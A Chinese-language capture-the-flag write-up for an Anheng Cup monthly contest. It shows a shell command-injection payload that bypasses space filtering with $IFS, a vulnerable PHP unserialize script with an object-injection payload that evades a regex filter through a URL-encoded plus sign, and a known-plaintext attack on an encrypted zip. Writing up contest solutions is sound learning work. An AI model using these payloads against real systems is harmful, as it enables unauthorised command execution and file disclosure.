安恒杯12月月赛WP

WEB

这次的月赛可以说非常适合我这种菜鸡做了

ezweb2:

请求包中发现一个user=base64

解码得到user,构造admin 然后base64提交

发现跳转到后台admin.php

试了一个ls发现有回显,应该是个命令执行漏洞

构造: cmd = ls$IFS/ 成功回显

然后读取flag: cmd = cat $IFS /ffLAG_404

easy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

本地构造序列化
O:4:”baby”:1:{s:4:”file”;s:8:”flag.php”;}

因为存在过滤出语句
preg_match(‘/[oc]:\d+:/i’,$data,$matches);

所以需要绕过,用加号进行绕过:
O:+4:”baby”:1:{s:4:”file”;s:8:”flag.php”;}

但如果直接传值的话会,服务器接收到会把加号认为空格,所以要对加号url编码:
O:%2b4:”baby”:1:{s:4:”file”;s:8:”flag.php”;}

MISC

JUJU

提示女朋友问我这11只JUJU哪只好看?
图片里没有11只JUJU,用windex改个高度即可
然后base32解码得到flag

学习资料

zip加密,一般zip加密只有那几种,并且打开zip文件里面还有一个已经给出的txt文件,还有一个经过加密的zip文件,很明显是明文攻击就可以了
将txt文件加密为zip文件,然后用ARCHPR进行明文攻击
得到一个doc文件打开,得到一个5 3 的图片,把图片移开就可以看到flag了